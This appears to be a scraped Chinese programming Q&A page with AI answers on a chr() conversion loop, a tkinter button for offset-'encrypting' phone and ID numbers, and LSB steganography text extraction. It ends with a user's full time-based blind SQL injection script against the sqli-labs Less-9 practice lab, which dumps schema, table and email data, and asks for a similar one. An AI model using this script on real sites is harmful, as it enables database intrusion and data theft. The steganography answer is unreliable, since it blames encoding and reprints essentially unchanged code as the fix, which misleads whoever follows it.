s_list = string.split(",") res = "" for i in s_list: i = chr(int(i)) print(i) res += i

时间: 2024-04-15 20:28:10 浏览: 16
这段代码将一个字符串按逗号进行分割,并将每个分割后的子串转换为一个整数,再将该整数转换为相应的字符。然后,它会打印每个字符,并将它们连接到一个结果字符串中。以下是对您提供的代码的分析: ```python s_list = string.split(",") # 将字符串按逗号分割为一个列表 res = "" # 初始化结果字符串 # 循环遍历列表中的每个元素 for i in s_list: i = chr(int(i)) # 将当前元素转换为整数,并将该整数转换为对应的字符 print(i) # 打印当前字符 res += i # 将当前字符添加到结果字符串中 ``` 这段代码假设存在一个名为`string`的字符串,并且该字符串包含一系列以逗号分隔的整数值。代码将这些整数值转换为相应的字符,并逐个打印出来。最后,它将这些字符连接到一个结果字符串中。 请注意,您需要在执行此代码之前先定义`string`变量,并将其赋值为包含逗号分隔的整数值的字符串。如果您有任何进一步的问题,请随时提问!
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def pianyi(frame_phone_input, frame_id_input, root): phone_input = frame_phone_input.get() id_input = frame_id_input.get() def offset(text, offset_num=3): # 将字符串转换为列表 text_list = list(text) # 将每个字符的ASCII码值增加偏移量 for i in range(len(text_list)): text_list[i] = chr(ord(text_list[i]) + offset_num) # 将偏移后的列表转换为字符串 result = ''.join(text_list) return result encrypted_phone = offset(phone_input) encrypted_id = offset(id_input) # 示例输入和输出 phone_label = tk.Label(root, text=("加密后的手机号:", encrypted_phone), font=("微软雅黑 -20")) phone_label.place(x=500, y=110) id_label = tk.Label(root, text=("加密后的身份证号:", encrypted_id), font=("微软雅黑 -20")) id_label.place(x=500, y=160)btn4 = tk.Button(root, text="偏移", font=("微软雅黑 -20"),bg='pink',command=lambda: zhebi(frame_phone_input, frame_id_input, root)) btn4.place(x=500, y=60,height=40,width=100)点击按钮后不显示

根据提供的代码,我认为可能是因为在偏移函数中缺少缩进,导致程序无法正确运行。你可以尝试修改代码如下: ``` def pianyi(frame_phone_input, frame_id_input, root): phone_input = frame_phone_input.get() id_input = frame_id_input.get() def offset(text, offset_num=3): # 将字符串转换为列表 text_list = list(text) # 将每个字符的ASCII码值增加偏移量 for i in range(len(text_list)): text_list[i] = chr(ord(text_list[i]) + offset_num) # 将偏移后的列表转换为字符串 result = ''.join(text_list) return result encrypted_phone = offset(phone_input) encrypted_id = offset(id_input) # 示例输入和输出 phone_label = tk.Label(root, text=("加密后的手机号:", encrypted_phone), font=("微软雅黑 -20")) phone_label.place(x=500, y=110) id_label = tk.Label(root, text=("加密后的身份证号:", encrypted_id), font=("微软雅黑 -20")) id_label.place(x=500, y=160) btn4 = tk.Button(root, text="偏移", font=("微软雅黑 -20"), bg='pink', command=lambda: pianyi(frame_phone_input, frame_id_input, root)) btn4.place(x=500, y=60, height=40, width=100) ``` 如果问题仍然存在,请提供更多的代码和错误信息,我会尽力帮助你解决问题。

为什么from PIL import Image def extract_text_from_image(image_file, output_file): # 读取图片 img = Image.open(image_file) width, height = img.size # 每个像素点可以存储3个字符(RGB三色通道),计算可存储的字符数 max_chars = (width * height) * 3 // 8 # 提取嵌入的二进制字符串 binary_list = [] pixel_index = 0 for row in range(height): for col in range(width): if pixel_index < max_chars: pixel = list(img.getpixel((col, row))) for i in range(3): if pixel_index < max_chars: binary_list.append(str(pixel[i] % 2)) pixel_index += 1 # 将二进制字符串转换为文本 binary_text = ''.join(binary_list) text = ''.join(chr(int(binary_text[i:i+8], 2)) for i in range(0, len(binary_text), 8)) # 保存文本文件 with open(output_file, 'w', encoding='utf-8') as f: f.write(text) if __name__ == '__main__': extract_text_from_image('output.bmp', 'recovered_text.txt')会提取出乱码,将修改后的代码发给我

这段代码的作用是从一张图片中提取出嵌入的文本信息,并保存为文本文件。可能出现乱码的原因是编码问题,可以尝试修改编码方式为 'gbk' 或 'utf-8',具体可以修改如下: ``` from PIL import Image def extract_text_from_image(image_file, output_file): # 读取图片 img = Image.open(image_file) width, height = img.size # 每个像素点可以存储3个字符(RGB三色通道),计算可存储的字符数 max_chars = (width * height) * 3 // 8 # 提取嵌入的二进制字符串 binary_list = [] pixel_index = 0 for row in range(height): for col in range(width): if pixel_index < max_chars: pixel = list(img.getpixel((col, row))) for i in range(3): if pixel_index < max_chars: binary_list.append(str(pixel[i] % 2)) pixel_index += 1 # 将二进制字符串转换为文本 binary_text = ''.join(binary_list) text = ''.join(chr(int(binary_text[i:i+8], 2)) for i in range(0, len(binary_text), 8)) # 保存文本文件 with open(output_file, 'w', encoding='utf-8') as f: f.write(text) if __name__ == '__main__': extract_text_from_image('output.bmp', 'recovered_text.txt') ``` 如果还是出现乱码,可以尝试将编码方式修改为 'gbk',具体可以修改如下: ``` from PIL import Image def extract_text_from_image(image_file, output_file): # 读取图片 img = Image.open(image_file) width, height = img.size # 每个像素点可以存储3个字符(RGB三色通道),计算可存储的字符数 max_chars = (width * height) * 3 // 8 # 提取嵌入的二进制字符串 binary_list = [] pixel_index = 0 for row in range(height): for col in range(width): if pixel_index < max_chars: pixel = list(img.getpixel((col, row))) for i in range(3): if pixel_index < max_chars: binary_list.append(str(pixel[i] % 2)) pixel_index += 1 # 将二进制字符串转换为文本 binary_text = ''.join(binary_list) text = ''.join(chr(int(binary_text[i:i+8], 2)) for i in range(0, len(binary_text), 8)) # 保存文本文件 with open(output_file, 'w', encoding='gbk') as f: f.write(text) if __name__ == '__main__': extract_text_from_image('output.bmp', 'recovered_text.txt') ```

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import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

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